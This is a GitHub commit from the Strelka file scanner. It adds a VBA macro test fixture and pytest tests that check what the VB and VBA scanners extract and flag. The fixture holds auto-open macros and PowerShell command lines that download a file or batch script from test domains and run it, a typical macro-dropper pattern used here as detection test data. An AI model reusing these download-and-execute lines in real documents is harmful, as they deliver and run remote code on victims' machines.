-
Notifications
You must be signed in to change notification settings - Fork 116
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
5179e01
commit 6aec6d6
Showing
11 changed files
with
285 additions
and
63 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,8 @@ | ||
import re | ||
|
||
import olefile | ||
import oletools | ||
import re | ||
|
||
from strelka import strelka | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
Option Explicit | ||
Sub AutoOpen() | ||
' | ||
' AutoOpen Macro | ||
' | ||
|
||
MsgBox "Hello World!" | ||
|
||
End Sub | ||
|
||
|
||
Private Sub Document_Open() | ||
|
||
MsgBox "Hello World!" | ||
|
||
End Sub | ||
|
||
Private Sub Testing_Iocs() | ||
|
||
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") | ||
Set objStartup = objWMIService.Get("Win32_ProcessStartup") | ||
Set objConfig = objStartup.SpawnInstance_ | ||
objConfig.ShowWindow = 0 | ||
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") | ||
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://www.test.example.com -OutFile $env:tmp\test.txt | ||
Start-Process -Filepath $env:tmp\invoice.one" | ||
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://www.test.com/test.bat -OutFile $env:tmp\test.bat | ||
Start-Process -Filepath $env:tmp\test.bat" | ||
|
||
End Sub |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
from pathlib import Path | ||
from unittest import TestCase, mock | ||
|
||
from pytest_unordered import unordered | ||
|
||
from strelka.scanners.scan_vb import ScanVb as ScanUnderTest | ||
from strelka.tests import run_test_scan | ||
|
||
|
||
def test_scan_vb(mocker): | ||
""" | ||
Pass: Sample event matches output of scanner. | ||
Failure: Unable to load file or sample event fails to match. | ||
""" | ||
test_scan_event = { | ||
"elapsed": mock.ANY, | ||
"flags": [], | ||
"comments": ["AutoOpen Macro"], | ||
"functions": ["AutoOpen", "Document_Open", "Testing_Iocs"], | ||
"names": [ | ||
"Explicit", | ||
"MsgBox", | ||
"objWMIService", | ||
"GetObject", | ||
"objStartup", | ||
"Get", | ||
"objConfig", | ||
"SpawnInstance_", | ||
"ShowWindow", | ||
"objProcess", | ||
"ExecuteCmdAsync", | ||
], | ||
"operators": ["="], | ||
"strings": [ | ||
"Hello World!", | ||
"winmgmts:\\\\\\\\.\\\\root\\\\cimv2", | ||
"Win32_ProcessStartup", | ||
"winmgmts:\\\\\\\\.\\\\root\\\\cimv2:Win32_Process", | ||
"cmd /c powershell Invoke-WebRequest -Uri https://www.test.example.com -OutFile $env:tmp\\\\test.txt\\nStart-Process -Filepath $env:tmp\\\\invoice.one", | ||
"cmd /c powershell Invoke-WebRequest -Uri https://www.test.com/test.bat -OutFile $env:tmp\\\\test.bat\\nStart-Process -Filepath $env:tmp\\\\test.bat", | ||
], | ||
"script_length_bytes": 752, | ||
"tokens": [ | ||
"Token.Keyword", | ||
"Token.Name", | ||
"Token.Text.Whitespace", | ||
"Token.Name.Function", | ||
"Token.Punctuation", | ||
"Token.Comment", | ||
"Token.Literal.String", | ||
"Token.Operator", | ||
"Token.Literal.Number.Integer", | ||
], | ||
"urls": unordered( | ||
[ | ||
"tmp\\\\invoice.one", | ||
"https://www.test.com/test.bat", | ||
"https://www.test.example.com", | ||
] | ||
), | ||
"iocs": unordered( | ||
[ | ||
{ | ||
"ioc": "www.test.example.com", | ||
"ioc_type": "domain", | ||
"scanner": "ScanVb", | ||
}, | ||
{ | ||
"ioc": "https://www.test.example.com", | ||
"ioc_type": "url", | ||
"scanner": "ScanVb", | ||
}, | ||
{"ioc": "www.test.com", "ioc_type": "domain", "scanner": "ScanVb"}, | ||
{ | ||
"ioc": "https://www.test.com/test.bat", | ||
"ioc_type": "url", | ||
"scanner": "ScanVb", | ||
}, | ||
] | ||
), | ||
} | ||
|
||
scanner_event = run_test_scan( | ||
mocker=mocker, | ||
scan_class=ScanUnderTest, | ||
fixture_path=Path(__file__).parent / "fixtures/test.vba", | ||
) | ||
|
||
TestCase.maxDiff = None | ||
TestCase().assertDictEqual(test_scan_event, scanner_event) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
from pathlib import Path | ||
from unittest import TestCase, mock | ||
|
||
from pytest_unordered import unordered | ||
|
||
from strelka.scanners.scan_vba import ScanVba as ScanUnderTest | ||
from strelka.tests import run_test_scan | ||
|
||
|
||
def test_scan_vba(mocker): | ||
""" | ||
Pass: Sample event matches output of scanner. | ||
Failure: Unable to load file or sample event fails to match. | ||
""" | ||
test_scan_event = { | ||
"elapsed": mock.ANY, | ||
"flags": [], | ||
"auto_exec": ["AutoOpen", "Document_Open"], | ||
"base64": [], | ||
"dridex": [], | ||
"hex": [], | ||
"ioc": [ | ||
"https://www.test.example.com", | ||
"https://www.test.com/test.bat", | ||
"test.bat", | ||
], | ||
"iocs": unordered( | ||
[ | ||
{"ioc": "test.bat", "ioc_type": "domain", "scanner": "ScanVba"}, | ||
{ | ||
"ioc": "www.test.example.com", | ||
"ioc_type": "domain", | ||
"scanner": "ScanVba", | ||
}, | ||
{ | ||
"ioc": "https://www.test.example.com", | ||
"ioc_type": "url", | ||
"scanner": "ScanVba", | ||
}, | ||
{"ioc": "www.test.com", "ioc_type": "domain", "scanner": "ScanVba"}, | ||
{ | ||
"ioc": "https://www.test.com/test.bat", | ||
"ioc_type": "url", | ||
"scanner": "ScanVba", | ||
}, | ||
] | ||
), | ||
"suspicious": ["powershell", "Start-Process", "ShowWindow", "GetObject"], | ||
"total": {"extracted": 1, "files": 1}, | ||
} | ||
|
||
scanner_event = run_test_scan( | ||
mocker=mocker, | ||
scan_class=ScanUnderTest, | ||
fixture_path=Path(__file__).parent / "fixtures/test.vba", | ||
) | ||
|
||
TestCase.maxDiff = None | ||
TestCase().assertDictEqual(test_scan_event, scanner_event) |